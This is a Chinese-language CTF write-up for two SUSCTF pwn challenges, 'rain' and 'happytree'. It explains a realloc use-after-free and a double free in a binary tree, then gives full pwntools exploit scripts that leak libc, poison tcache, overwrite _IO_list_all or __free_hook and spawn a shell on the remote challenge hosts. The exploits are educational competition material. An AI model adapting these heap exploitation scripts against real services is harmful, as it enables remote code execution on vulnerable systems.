0%

SUSCTF

SUSCTF PWN

rain

程序代码量比较大,看懂程序的逻辑就浪费了一些时间,然后我眼睛瞎了那么大的漏洞我都没看见

1
v7 = realloc(*((void **)a1 + 7), v6 - 18);

我第一次把v7看成了a[7],后面反复看代码的时候也没有注意这个,导致我一直没找见漏洞,在ayoung佬的提示下才发现,眼睛真的瞎了,然后在他的提示下发现远程版本的libc库还没有tcache保护,导致可以直接doublefree

1
2
1.rain的远程版本是libc2.7.so_1.2的,这个版本的tcache是没有key字段的,然后这个版本的io——list_all也是攻击的的,key字段的引入在libc2.27_1.3
2.了解到unsortedbin的具体失效版本是libc2.29

然后rain以后a[7]会清零,相当于拥有多个指针的ufa,直接利用,唯一麻烦的是指定运行库以后运行rain程序会退出,当时自己盲打了一会,ayoung佬给了我patch掉rain的程序,死高一,我都快忘了这个东西了。

结合上面的漏洞就是普通的tcache的ufa,可以修改任一地址,我修改的io_list_all指向堆,然后堆布置,这是完整代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-2.27.so', './ttt'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'})
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
sh=remote("124.71.185.75",9999)
ogg=[0x4f365,0x4f3c2,0x10a45c]

def config(content):
sh.recvuntil('ch> ',timeout=6000)
sh.sendline('1')
sh.recvuntil('FRAME> ',timeout=6000)
sh.send(content)

def m():
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0x150+18,'a')
config(payload)
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0x60+18,'a')
config(payload)

def show():
sh.recvuntil('ch> ')
sh.sendline('2')

def rain():
sh.recvuntil('ch> ',timeout=6000)
sh.sendline('3')

def free():
payload=p32(20)+p32(20)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
config(payload)

def exp():
#gdb.attach(sh,'b *0x0000000000401694')
for i in range(7):
m()
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0xe0+18,'a')
config(payload)
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
config(payload)
show()
sh.recvuntil('Table: ')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
free_hook=libc_base+libc.sym['__free_hook']
print hex(libc_base)
# payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
# payload+=p32(300)
# payload=payload.ljust(18,'\x00')
# payload+=p64(libc_base+libc.sym['__malloc_hook']+0x10+96)*2
# payload=payload.ljust(0x50+18,'a')
# config(payload)
rain()
payload=p32(20)+p32(20)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0xe0+18,'\x00')
config(payload)
payload=p32(20)+p32(20)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0xf0+18,'\x00')
config(payload)
free()
free()
#gdb.attach(sh)
show()
sh.recvuntil("Table: ")
heap_addr = u64(sh.recv(4)+"\x00"*4)
print hex(heap_addr)
rain()
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload+=p64(libc_base+libc.sym['_IO_list_all'])
payload=payload.ljust(0xf0+18,'a')
config(payload)
rain()
libc.address=libc_base
pay=p32(0x100)+p32(0x100)+'\x02'+'\x01'
pay+=p32(4)
pay=pay.ljust(18,'\x00')
pay+=p64(0)*2
pay+= p64(0)*2
pay+= p64(0)
pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
pay+= p64(0)*2
pay+= p64((libc.search('/bin/sh').next()-100)/2)
pay+= p64(0)*12
pay+= p64(2)
pay+= p64(3)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360)
pay+= p64(libc.sym['system'])
pay=pay.ljust(0xf0+18,'a')
config(pay)
rain()
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload+=p64(heap_addr)
payload=payload.ljust(0xf0+18,'a')
config(payload)
#gdb.attach(sh)
sh.recvuntil('ch> ')
sh.sendline('4')
sh.interactive()
exp()
#SUSCTF{S0_Beautiful_Rain_adasda}

总结

首先远程很玄学,其次堆的地址的长度其实不是固定的,我的虚拟机上是6个字节,导致我以为远程也是6个字节,然后一直接收错误,麻了。

happytree

感觉漏洞不是很容易察觉,就是在有一个子节点的节点被删除时指向子节点的地址不会被删除,也就是多个指针指向同一个堆块(大忌),利用这一点可以直接doublefree,但是doublefree也不是随便就能搞的,在操作中很容易造成树变成循环树了,在删除节点时直接报错。然后暴露libc地址的时候也是利用malloc申请bins上的节点时不会清除fd和bk,所以从unsorted上申请到的堆的bk上就有libc地址(也可以利用这一点得知heap地址,但对此题无益),至于怎么填满tcache把堆放置到unsorted上,也是利用程序申请节点时的整数溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'})
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
sh=remote('124.71.147.225',9999)
def add_tree(size,content):
sh.recvuntil('cmd> ')
sh.sendline('1')
sh.recvuntil('data: ')
sh.sendline(str(size))
sh.recvuntil('content: ')
sh.send(content)

def show_tree(size):
sh.recvuntil('cmd> ')
sh.sendline('3')
sh.recvuntil('data: ')
sh.sendline(str(size))

def del_tree(size):
sh.recvuntil('cmd> ')
sh.sendline('2')
sh.recvuntil('data: ')
sh.sendline(str(size))

def exp():
for i in range(8):
add_tree(0xf0+i*0x100,'a')
for i in range(8):
del_tree(0xf0+(7-i)*0x100)
for i in range(8):
add_tree(0xf0+i*0x100,'a'*8)
show_tree(0xf0+7*0x100)
sh.recvuntil('a'*8)
libc_base=u64(sh.recv(6).ljust(0x8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
free_hook=libc_base+libc.sym['__free_hook']
print hex(libc_base)
add_tree(0xf0+8*0x100,'a')
add_tree(0xf0+9*0x100,'/bin/sh\x00')
add_tree(0xa0,'a')
add_tree(0xb0,'a')
add_tree(0xc0,'a')
del_tree(0xb0)
add_tree(0x40,'a')
del_tree(0x40)
add_tree(0xb0,'a')
del_tree(0xc0)
del_tree(0)
add_tree(0x1c0,p64(free_hook))
add_tree(0x2c0,'a')
del_tree(0xf0+8*0x100)
add_tree(0x3c0,p64(libc_base+libc.sym['system']))
del_tree(0xf0+9*0x100)
#gdb.attach(sh)
sh.interactive()
exp()
#SUSCTF{We_4re_pl4ying_unDer_th3_tRee}